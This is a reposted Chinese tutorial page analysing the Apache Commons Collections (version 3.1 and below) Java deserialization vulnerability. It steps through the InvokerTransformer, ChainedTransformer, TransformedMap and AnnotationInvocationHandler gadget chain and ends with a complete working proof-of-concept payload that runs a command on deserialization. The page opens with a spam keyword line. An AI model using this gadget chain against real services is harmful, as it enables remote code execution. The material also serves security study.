真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

Java反序列化漏洞舉例分析

這篇文章主要講解了“Java反序列化漏洞舉例分析”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“Java反序列化漏洞舉例分析”吧!

成都創(chuàng)新互聯(lián)公司長期為千余家客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為召陵企業(yè)提供專業(yè)的網(wǎng)站設(shè)計(jì)制作、成都網(wǎng)站建設(shè),召陵網(wǎng)站改版等技術(shù)服務(wù)。擁有十多年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。

前言:

Apache Commons Collections是Apache Commons的組件,該漏洞的問題主要出現(xiàn)在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一個(gè)InvokerTransformer實(shí)現(xiàn)了Transformer接口,主要作用為調(diào)用Java的反射機(jī)制來調(diào)用任意函數(shù)。

影響組件版本:<=3.1

一、環(huán)境搭建

本地測試,下載commons-collections-3.1.zip,在項(xiàng)目中導(dǎo)入對(duì)應(yīng)的jar包:commons-collections-3.1.jar

例如:

在IntelliJ IDEA中創(chuàng)建一個(gè)普通的Java工程,然后File --> Project Structure --> Libraries --> +添加相應(yīng)的jar包

二、漏洞分析

既然是反序列化漏洞,我們假設(shè)有這樣一條語句:

FileInputStream fileInputStream = new FileInputStream("unserialize.bin");
ObjectInputStream input = new ObjectInputStream(fileInputStream);
Object object = input.readObject();
input.close();
fileInputStream.close();

意思是從unserialize.bin二進(jìn)制文件中取出二進(jìn)制數(shù)據(jù),對(duì)其進(jìn)行反序列化。

如果unserialize.bin的文件內(nèi)容可控的話(也就是用戶可以進(jìn)行輸入),那么可能會(huì)存在反序列化漏洞。

(有點(diǎn)類似于PHP的反序列化,利用的前提都是程序中存在可以利用的類或者利用鏈)

如果程序使用了低版本的Apache Commons的組件,那么就可以構(gòu)造相應(yīng)的輸入,達(dá)到RCE的目的。

下面對(duì)commons.collections中利用的類進(jìn)行分析:

在該組件中有一個(gè)Transformer接口:

package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

有一個(gè)實(shí)現(xiàn)了該接口的類,InvokerTransformer,可以去看看源碼:

public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

}

這里仔細(xì)分析一下transform方法,可以發(fā)現(xiàn)這里利用了反射機(jī)制,調(diào)用傳入的對(duì)象的任意方法。

上面的三個(gè)參數(shù)分別表示的意思是:

methodName:方法名

paramTypes: 參數(shù)類型

args:傳入方法的參數(shù)值

一般來說,想要RCE,需要使用到Runtime這個(gè)類,但是Runtime的構(gòu)造函數(shù)是一個(gè)私有方法,所以不能夠直接對(duì)其進(jìn)行實(shí)例化,需要調(diào)用靜態(tài)方法來實(shí)例化,例如:

Runtime.getRuntime.exec("calc");

如果想要直接調(diào)用上面的InvokerTransformer的transform方法進(jìn)行命令執(zhí)行,可以這樣寫:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"});
invokerTransformer.transform(runtime);

個(gè)人理解:以上寫法直接實(shí)例化了一個(gè)Runtime對(duì)象,但是Runtime類并沒有實(shí)現(xiàn)序列化接口(可以去看源碼),也就是說,Runtime實(shí)例對(duì)象不能夠被序列化,因此在構(gòu)建Payload的時(shí)候,盡量在程序中不要出現(xiàn)Runtime實(shí)例化出來的對(duì)象,因此后面引出了兩個(gè)類:

ConstantTransformer類和ChainedTransformer類

先來看看ConstantTransformer類:

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

它的transform方法會(huì)把傳入的參數(shù)直接返回出來;

再來看看ChainedTransformer類:

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

關(guān)鍵部分在這里:

object = this.iTransformers[i].transform(object);

如果iTransformers為上面的InvokerTransformer對(duì)象,我們可以構(gòu)造多個(gè)InvokerTransformer對(duì)象(注意這里的iTransformers是個(gè)數(shù)組),讓這條語句通過反射來創(chuàng)建Runtime的實(shí)例,例如:

Transformer[] transformers = new Transformer[]{
//獲取java.lang.class
new ConstantTransformer(Runtime.class),

//執(zhí)行Runtime.class.getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),

//執(zhí)行Runtime.class.getMethod("getRuntime").invoke()
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//執(zhí)行Runtime.class.getMethod("getRuntime").invoke().exec
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("123");

構(gòu)造到這里,可以發(fā)現(xiàn),只要執(zhí)行chainedTransformer.transform()方法就可以RCE。

但是,既然是反序列化漏洞,最好的利用情況是當(dāng)用戶傳入的輸入流被反序列化以后,就能夠直接進(jìn)行攻擊(也就是說當(dāng)程序直接調(diào)用readObject方法時(shí)將觸發(fā)漏洞),因此,后面引出了另外幾個(gè)類:

TransformeMap和AnnotationInvocationHandler類

首先來看看TransformeMap這個(gè)類:

protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

在該類里面有checkSetValue這樣一個(gè)方法,會(huì)調(diào)用valueTransformer.transform

也就是說這里需要構(gòu)造this.valueTransformer為上面的chainedTransformer的值;

通過分析構(gòu)造函數(shù),我們發(fā)現(xiàn)這個(gè)值是可以直接構(gòu)造的:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

(由于TransformedMap是受保護(hù)的構(gòu)造函數(shù),因此這里要利用該類提供的靜態(tài)方法decorate進(jìn)行初始化)

接下來,繼續(xù)跟進(jìn)TransformeMap的父類AbstractInputCheckedMapDecorator,在里面有一個(gè)靜態(tài)的內(nèi)部類:

static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}

這里的setValue方法調(diào)用了checkSetValue,如果this.parent指向我們前面構(gòu)造的TransformeMap對(duì)象,那么這里就可以觸發(fā)漏洞點(diǎn)。

在前面的基礎(chǔ)上加上這個(gè):也可以命令執(zhí)行

Map innerMap = new HashMap();
innerMap.put("1", "1");
//構(gòu)造TransformedMap對(duì)象,帶入前面構(gòu)造的transformerChain
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//返回Entry這個(gè)內(nèi)部類
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("123123");

下面分析一下 這條語句:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

首先調(diào)用outerMap.entrySet(),也就是TransformedMap的entrySet方法:

public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}

跟進(jìn)一下this.isSetValueChecking:

protected boolean isSetValueChecking() {
return this.valueTransformer != null;
}

通過之前的構(gòu)造,我們這里會(huì)返回true,也就是說,上面的outerMap.entrySet()會(huì)返回new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this);

跟進(jìn)一下這個(gè)類:(它其實(shí)也是一個(gè)靜態(tài)的內(nèi)部類,和上面我們需要的那個(gè)MapEntry在一個(gè)類里面)

static class EntrySet extends AbstractSetDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
}
}

可以發(fā)現(xiàn),它將我們傳入的transformerChain賦值給了parent;

接下來程序執(zhí)行iterator方法,也就是上面的:

public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
}

發(fā)現(xiàn)它返回了另一個(gè)對(duì)象,跟進(jìn)一下這個(gè)對(duì)象:(仍然是一個(gè)靜態(tài)內(nèi)部類)

static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

public Object next() {
Entry entry = (Entry)super.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
}

它也將我們前面構(gòu)造的transformerChain賦值給了parent;

最后程序調(diào)用next方法,也就是:

public Object next() {
Entry entry = (Entry)super.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}

發(fā)現(xiàn)它正好返回了我們最終需要構(gòu)造的這個(gè)內(nèi)部類MapEntry,并且將parent正好賦值成我們構(gòu)造的transformerChain值;

最后調(diào)用onlyElement.setValue("123123");觸發(fā)命令執(zhí)行;

分析到這里,還是不夠,因?yàn)槲覀兿胍獦?gòu)造一個(gè)只需要調(diào)用反序列化函數(shù)便可以觸發(fā)漏洞的利用鏈,這里就需要用到AnnotationInvocationHandler這個(gè)類(JDK版本要小于1.7),該類重寫了readObject方法,在該方法里面調(diào)用了map的setValue方法:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map> memberTypes = annotationType.memberTypes();

for (Map.Entry memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class memberType = memberTypes.get(name);
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

(這個(gè)代碼是網(wǎng)上找的,自己的jdk版本是1.8~~~~)

這里可以發(fā)現(xiàn)memberValues是一個(gè)map對(duì)象,并且是可以由我們直接傳入?yún)?shù)的,它這里用到了這樣一條語句:

for (Map.Entry memberValue : memberValues.entrySet()){
memberValue.setValue(...)
}

其實(shí)跟上面的構(gòu)造是一樣的:

memberValues.entrySet().iterator().next()

到這里,就比較明顯了。我們傳入一個(gè)構(gòu)造好的AnnotationInvocationHandler對(duì)象,目標(biāo)對(duì)其進(jìn)行反序列,便會(huì)造成任意代碼執(zhí)行。

Payload如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2");

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

//將ins序列化
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

//取出序列化的數(shù)據(jù)流進(jìn)行反序列化,驗(yàn)證
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();

}
}

感謝各位的閱讀,以上就是“Java反序列化漏洞舉例分析”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對(duì)Java反序列化漏洞舉例分析這一問題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!


分享題目:Java反序列化漏洞舉例分析
鏈接URL:http://weahome.cn/article/poihhh.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部